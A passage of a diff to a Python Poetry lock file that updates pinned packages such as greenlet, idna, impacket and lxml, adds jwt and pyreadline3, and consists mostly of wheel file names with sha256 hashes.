"greenlet-3.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:81bb9c6d52e8321f09c3d165b2a78c680506d9af285bfccbad9fb7ad5a5da3e5"}, - {file = "greenlet-3.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fd096eb7ffef17c456cfa587523c5f92321ae02427ff955bebe9e3c63bc9f0da"}, - {file = "greenlet-3.0.3-cp38-cp38-win32.whl", hash = "sha256:d46677c85c5ba00a9cb6f7a00b2bfa6f812192d2c9f7d9c4f6a55b60216712f3"}, - {file = "greenlet-3.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:419b386f84949bf0e7c73e6032e3457b82a787c1ab4a0e43732898a761cc9dbf"}, - {file = "greenlet-3.0.3-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:da70d4d51c8b306bb7a031d5cff6cc25ad253affe89b70352af5f1cb68e74b53"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086152f8fbc5955df88382e8a75984e2bb1c892ad2e3c80a2508954e52295257"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d73a9fe764d77f87f8ec26a0c85144d6a951a6c438dfe50487df5595c6373eac"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7dcbe92cc99f08c8dd11f930de4d99ef756c3591a5377d1d9cd7dd5e896da71"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1551a8195c0d4a68fac7a4325efac0d541b48def35feb49d803674ac32582f61"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:64d7675ad83578e3fc149b617a444fab8efdafc9385471f868eb5ff83e446b8b"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b37eef18ea55f2ffd8f00ff8fe7c8d3818abd3e25fb73fae2ca3b672e333a7a6"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:77457465d89b8263bca14759d7c1684df840b6811b2499838cc5b040a8b5b113"}, - {file = "greenlet-3.0.3-cp39-cp39-win32.whl", hash = "sha256:57e8974f23e47dac22b83436bdcf23080ade568ce77df33159e019d161ce1d1e"}, - {file = "greenlet-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c5ee858cfe08f34712f548c3c363e807e7186f03ad7a5039ebadb29e8c6be067"}, - {file = "greenlet-3.0.3.tar.gz", hash = "sha256:43374442353259554ce33599da8b692d5aa96f8976d567d4badf263371fbe491"}, + {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, + {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, + {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, + {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, + {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, + {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, + {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, + {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, + {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, + {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, + {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, + {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, + {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, + {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, + {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, + {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, + {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, ] [package.extras] @@ -839,18 +879,21 @@ files = [ [[package]] name = "idna" -version = "3.7" +version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" files = [ - {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, - {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, ] +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + [[package]] name = "impacket" -version = "0.12.0.dev1+20240725.112949.63079001" +version = "0.13.0.dev0+20250220.93348.6315ebd5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -866,6 +909,7 @@ pyasn1 = ">=0.2.3" pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" +pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} setuptools = "*" six = "*" @@ -873,26 +917,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "63079001e2d7f1a5bafcfe59f5a78d42ceefd9ed" - -[[package]] -name = "importlib-metadata" -version = "8.2.0" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.8" -files = [ - {file = "importlib_metadata-8.2.0-py3-none-any.whl", hash = "sha256:11901fa0c2f97919b288679932bb64febaeacf289d18ac84dd68cb2e74213369"}, - {file = "importlib_metadata-8.2.0.tar.gz", hash = "sha256:72e8d4399996132204f9a16dcc751af254a48f8d1b20b9ff0f98d4a8f901e73d"}, -] - -[package.dependencies] -zipp = ">=0.5" - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -perf = ["ipython"] -test = ["flufl.flake8", "importlib-resources (>=1.3)", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy", "pytest-perf (>=0.9.2)", "pytest-ruff (>=0.2.1)"] +resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7" [[package]] name = "iniconfig" @@ -933,6 +958,19 @@ MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] +[[package]] +name = "jwt" +version = "1.3.1" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">= 3.6" +files = [ + {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, +] + +[package.dependencies] +cryptography = ">=3.1,<3.4.0 || >3.4.0" + [[package]] name = "ldap3" version = "2.9.1" @@ -983,110 +1021,157 @@ rich = "*" [[package]] name = "lxml" -version = "4.9.3" +version = "5.3.0" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +python-versions = ">=3.6" files = [ - {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"}, - {file = "lxml-4.9.3-cp27-cp27m-win32.whl", hash = "sha256:2c74524e179f2ad6d2a4f7caf70e2d96639c0954c943ad601a9e146c76408ed7"}, - {file = "lxml-4.9.3-cp27-cp27m-win_amd64.whl", hash = "sha256:4f1026bc732b6a7f96369f7bfe1a4f2290fb34dce00d8644bc3036fb351a4ca1"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"}, - {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:ae8b9c6deb1e634ba4f1930eb67ef6e6bf6a44b6eb5ad605642b2d6d5ed9ce3c"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"}, - {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"}, - {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"}, - {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:9767e79108424fb6c3edf8f81e6730666a50feb01a328f4a016464a5893f835a"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"}, - {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"}, - {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"}, - {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"}, - {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"}, - {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"}, - {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"}, - {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e3cd95e10c2610c360154afdc2f1480aea394f4a4f1ea0a5eacce49640c9b190"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"}, - {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"}, - {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"}, - {file = 